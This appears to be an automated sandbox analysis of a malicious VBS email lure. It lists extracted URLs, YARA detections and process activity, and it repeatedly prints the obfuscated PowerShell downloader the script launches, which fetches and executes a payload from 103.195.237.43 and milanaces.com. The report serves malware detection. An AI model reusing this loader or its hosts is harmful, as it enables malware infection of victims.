Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.2
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.23
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.4
Source: powershell.exe, 00000001.00000002.2974919360.0000021E818AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/M
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Ma
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Mag
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magn
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magne
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnet
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magneti
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetis
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetise
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiser
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseri
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiserin
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetisering
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringe
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringer
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringern
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringerne
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringerne.
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringerne.s
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringerne.se
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E80227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.237.43/Magnetiseringerne.sea
Source: powershell.exe, 00000001.00000002.2974919360.0000021E81DD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195H
Source: wscript.exe, 00000000.00000003.1702645545.00000190BA0C6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698591176.00000190BA0C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: wscript.exe, 00000000.00000002.1716920830.00000190B817B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1715607595.00000190B816E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en%
Source: wscript.exe, 00000000.00000002.1716920830.00000190B817B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1715607595.00000190B816E000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.1702779163.00000190BA0A5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1703727134.00000190BA0A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab.U
Source: wscript.exe, 00000000.00000003.1703727134.00000190BA098000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1702779163.00000190BA071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?bd9d9f824a
Source: powershell.exe, 00000001.00000002.3027742300.0000021E90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2993662435.0000000007477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2974919360.0000021E80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2975462593.0000000004A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2993662435.0000000007477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2974919360.0000021E80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2975462593.0000000004A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBdq
Source: powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2993662435.0000000007477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.c
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.co
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/M
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Ma
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Mag
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magn
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magne
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnet
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magneti
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetis
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetise
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiser
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseri
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiserin
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetisering
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringe
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringer
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringern
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne.
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne.s
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne.se
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne.sea
Source: powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne.sea0
Source: powershell.exe, 00000001.00000002.2974919360.0000021E818AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://milanaces.com/Magnetiseringerne.seaX
Source: powershell.exe, 00000001.00000002.3027742300.0000021E90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_7668.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7668, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Call Frkkertens.ShellExecute("P" & skumtppers, Svigermoders, "", "", Dangs237)

Sample has a suspicious name (potential lure to open the executable)

Source: Urgent_File_Confirmation_00000000000000000000.vbs

Static file information: Suspicious name

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4107
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 4107
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4107	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 4107	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B87BEA2	1_2_00007FFD9B87BEA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B87B0F6	1_2_00007FFD9B87B0F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0487F1F0	4_2_0487F1F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0487FAC0	4_2_0487FAC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0487EEA8	4_2_0487EEA8

Source: Urgent_File_Confirmation_00000000000000000000.vbs

Initial sample: Strings found which are bigger than 50

Source: amsi32_7668.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7668, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@10/8@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Paraphysiferous.Mak

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25dnuflu.ci0.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7456
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7668

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Urgent_File_Confirmation_00000000000000000000.vbs	ReversingLabs: Detection: 15%
Source: Urgent_File_Confirmation_00000000000000000000.vbs	Virustotal: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) 